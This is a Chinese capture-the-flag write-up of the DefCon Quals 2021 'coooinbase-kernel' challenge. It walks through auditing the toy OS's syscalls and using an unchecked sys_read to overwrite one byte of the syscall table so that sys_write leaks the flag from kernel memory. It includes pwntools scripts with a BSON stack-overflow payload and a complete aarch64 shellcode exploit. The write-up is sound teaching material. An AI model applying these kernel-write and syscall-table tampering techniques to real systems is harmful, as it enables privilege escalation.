DefCon Quals 2021 coooinbase-kernel的解题思路
本文首发于安全客:PWN掉一款小型开源OS——续篇:内核态PWN
本篇文章是coooinbase这道题的内核态利用。作为上一篇文章PWN掉一款小型开源OS——用户态利用
的续篇,本文将解决上文遗留下的一些问题,并分析从userland到kerneland的利用机会。
遗留下的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * import bson
context.arch = 'aarch64'
obj = { 'CVC':111, 'MON':1, 'YR': 2021 } bs = bson.dumps(obj)
bs = bs[:-1] bs += b'\x02' bs += b'CC' bs += b'\x00' bs += p32(0x10) bs += b'A'*(0x60) bs += b'\x00' bs += b'\x00'
print(b64e(bs)+' ')
|
若按照上一篇文章的bson结构去构造payload,即'CVC':111
,当payload大于一定长度时会导致不能到达以下分支,没法触发漏洞
原因是copy_payload
的返回值不为0
让copy_payload
执行到这个分支即可返回0,经过测试'CVC':545
能通过check
按以下方法构造bson序列,便能发送长字符串,并触发栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * import bson
context.arch = 'aarch64'
obj = { 'CVC':545, 'MON':1, 'YR': 2021 } bs = bson.dumps(obj)
bs = bs[:-1] bs += b'\x02' bs += b'CC' bs += b'\x00' bs += p32(0x10) bs += b'A'*(0x60) bs += b'\x00' bs += b'\x00'
print(b64e(bs)+' ')
|
源码审计
内核源码可以从此处下载
下面重点来审系统调用,include/syscall.h
实现了以下一些系统调用
sys_read
和sys_write
的实现,并未对传入的buf
地址指针做检查,也就是可以call sys_read
、sys_write
在内核空间任意读写
在init/init_task.c
处调用户态进程
通过call sys_execv
系统调用分配进程资源,并装载用户态进程
静态分析
接下来用IDA打开coooinbase.bin,Processor type选ARM Little-endian
,kernel装载基址为0xffff000000080000
查找字符串能看到flag所在的内核地址0xFFFF000000088858
对照源码,在内核程序中应当有一个系统调用表
在0xFFFF000000087140
地址处找到了这个系统调用表
sys_read
调用,与源码没啥区别,可以对任意内核地址写入数据
在sys_write
调用,出题人加入了check,会检查addr <= 0xffff
,只能打印出用户空间的内存信息
Debug
0xFFFF000000082A60
之后就是通过check后代码
如能将系统调用表中指向sys_write
的指针覆盖成0xFFFF000000082A60
则能绕过check,而且这仅需要写1个byte
后续利用过程:
1.调sys_open打开/run
这个文件,在这个文件里找到一个\x60
byte对应的偏移
2.通过偏移sys_lseek到该处
3.调sys_read将该处的\x60
写入到0xFFFF000000087140
覆盖sys_write ptr的最后1 byte
4.调sys_write将内核地址中的flag打印出来
打开/run
文件
/run
是我们的用户态进程,装载到0x0
的地址上,在offset = 0x3a2
处找到了\x60
byte。lseek到该处,将文件指针指向这个位置。
内核里关于sys_lseek实现的部分源码,whence
需要设置成0
,令fd指向一个绝对文件地址,也就是调sys_lseek(fd, 0x3a2, 0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| //syscall.c:64~74 int sys_lseek(int fd, int offset, int whence) { struct file *filp; if( (fd>=NR_OPEN) || (fd<0)) return -1; filp = current->filp[fd]; if(filp==NULL) return -1;
return file_lseek(filp, offset, whence); }
//fs.c:363~387 int file_lseek(struct file *filp, int offset, int whence) { int pos = (int)filp->f_pos;
switch(whence){ case SEEK_SET: pos = offset; break; case SEEK_CUR: pos += offset; break; case SEEK_END: pos = filp->f_inode->i_size; pos += offset; break; default: break; }
if( (pos<0) || (pos>filp->f_inode->i_size) ) return -1;
filp->f_pos = (unsigned long)pos; return pos; }
//fs.h:45~56 #define I_NEW (8)
#define SEEK_SET (0) #define SEEK_CUR (1) #define SEEK_END (2)
struct file{ struct inode *f_inode; unsigned long f_count; int f_flags; unsigned long f_pos; };
|
调sys_read(fd, 0xffff000000087140, 1)
之后,系统调用表中的sys_write ptr
便被写为0xffff000000082a60
再调用sys_write
便能绕过addr <= 0xffff
的check,打印出flag
Script
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * import bson
context.arch = 'aarch64'
obj = { 'CVC': 545, 'MON': 1, 'YR': 2021 } bs = bson.dumps(obj)
bs = bs[:-1] bs += b'\x02' bs += b'CC' bs += b'\x00' bs += p32(0x10) bs += b'B'*(0x18) bs += p64(0xfc46)
shellcode = '''ldr x0,=0x6e75722f // /run mov x1, 0x0 stp x0, x1, [sp] mov x0, sp mov x5, 0x340 // SYS_open blr x5
mov x4, x0 // save file descriptior mov x1, 0x3a2 // offset of 0x60 in order to change SYS_write to after check mov x2, 0x0 mov x5, 0x364 // SYS_lseek blr x5
mov x0, x4 // move saved file desc ldr x1, =0xffff000000087140 // syscall handler for write mov x2, 0x1 // count mov x5, 0x34c // SYS_read blr x5
ldr x0, =0xffff000000088858 // addr of the flag mov x2, 0x36 // count mov x5, 0x310 // SYS_write blr x5'''
payload = asm(shellcode) bs += payload + b'\x00' bs += b'\x00'
print(b64e(bs)+' ')
|